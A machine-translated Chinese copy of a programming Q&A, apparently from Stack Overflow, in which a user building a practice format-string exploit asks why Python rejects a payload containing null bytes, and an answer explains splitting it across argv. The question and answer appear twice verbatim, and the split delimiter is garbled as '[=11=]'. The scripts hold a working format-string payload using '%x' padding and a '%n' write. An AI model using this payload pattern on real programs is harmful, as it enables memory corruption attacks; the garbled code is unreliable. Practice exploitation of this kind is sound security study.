"must be a string without null bytes" 或 "can't concat str to bytes" 在命令行上传递负载
"must be a string without null bytes" or "can't concat str to bytes" passing a payload on a command line
我正在尝试为练习创建 exploit,但我遇到了以下代码的问题:
#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)
但是错误如下:
TypeError: system() 参数 1 必须是没有空字节的字符串,而不是 str
我正在尝试使用“子进程”实用程序升级到 python 的当前版本:
#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)
但是错误如下:
类型错误:无法将 str 连接到字节
如何解决两个版本的 byte 或 str 转换问题?两个程序都认为错误在“payload = ...”
行
该字符串无法在 UNIX 上作为命令行参数传递。
为什么?因为它包含 NUL 文字,而 UNIX 命令行由 C 字符串组成——以 NUL 结尾。
>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'
看到 \x00
了吗?不允许,不可能——至少不能作为 one 命令行参数。
但是你可以把它放在一个argv中,只要它被分成多个参数。注意shell=False
以下:
payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'[=11=]')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)
这是如何运作的?因为 终止每个单独的 C 字符串 的 \x00
隐含地存在于边界点。
我正在尝试为练习创建 exploit,但我遇到了以下代码的问题:
#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)
但是错误如下: TypeError: system() 参数 1 必须是没有空字节的字符串,而不是 str
我正在尝试使用“子进程”实用程序升级到 python 的当前版本:
#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)
但是错误如下: 类型错误:无法将 str 连接到字节
如何解决两个版本的 byte 或 str 转换问题?两个程序都认为错误在“payload = ...”
行该字符串无法在 UNIX 上作为命令行参数传递。
为什么?因为它包含 NUL 文字,而 UNIX 命令行由 C 字符串组成——以 NUL 结尾。
>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'
看到 \x00
了吗?不允许,不可能——至少不能作为 one 命令行参数。
但是你可以把它放在一个argv中,只要它被分成多个参数。注意shell=False
以下:
payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'[=11=]')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)
这是如何运作的?因为 终止每个单独的 C 字符串 的 \x00
隐含地存在于边界点。